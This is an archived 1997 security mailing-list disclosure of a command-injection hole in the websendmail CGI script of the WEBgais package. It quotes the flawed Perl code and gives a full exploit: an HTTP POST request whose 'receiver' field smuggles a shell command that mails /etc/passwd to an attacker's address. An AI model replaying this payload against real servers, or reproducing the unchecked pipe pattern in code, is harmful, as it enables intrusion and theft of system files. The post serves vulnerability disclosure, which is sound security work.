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Vulnerability in websendmail (fwd)
From: proff () SUBURBIA NET (Julian Assange)
Date: Tue, 8 Jul 1997 06:44:45 +1000

From best-of-security-request () suburbia net  Tue Jul  8 06:37:42 1997
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<best-of-security () suburbia net>; Mon, 7 Jul 1997 23:41:02 +0300
Date: Mon, 7 Jul 1997 23:41:02 +0300 (EET DST)
From: Razvan Dragomirescu <drazvan () kappa ro>
To: best-of-security () suburbia net
Subject: Vulnerability in websendmail
Message-ID: <Pine.LNX.3.95.970707233511.16089C-100000 () pop3 kappa ro>


First, the story:

Websendmail is a cgi-bin that comes with the WEBgais package, which is
an interface to the GAIS search tool.
It is a PERL script that reads input from a form and sends e-mail to the
specified destination.
The version I am referring to is 1.0. It was released in 1995 but it is
still used (I've just tested it :) ).

As many other cgi-bin programs, this one does not check for special
characters in the user input.

Here's what it does:
$cmd="| $MAILBIN $VAR_receiver";
open (PIPEOUT, $cmd);

$VAR_receiver is read from the form. The script also does a little parsing
on the string to "un-webify" it (converts pluses to spaces and %xx
characters to their real value).
So if we set $VAR_receiver to
';mail+your_address\ () somewhere org</etc/passwd;'
it will do the job.

Now for the exploit:

telnet target.machine.com 80
POST /cgi-bin/websendmail HTTP/1.0
Content-length: xxx (should be replaced with the actual length of the
string passed to the server, in this case xxx=90)

receiver=;mail+your_address\ () somewhere org</etc/passwd;&sender=a&rtnaddr=a&subject=a

Don't worry if the server displays an error message. The password file is
on the way :).

You can use anything for the "sender", "rtnaddr", "subject" and "content",
just make sure they're there, the script checks for them.

That would be all.

I'm expecting to hear from you.

Be good.

Razvan Dragomirescu
drazvan () kappa ro, drazvan () romania ro, drazvan () roedu net
Phone: +40-1-6866621
"Smile, tomorrow will be worse" (Murphy)

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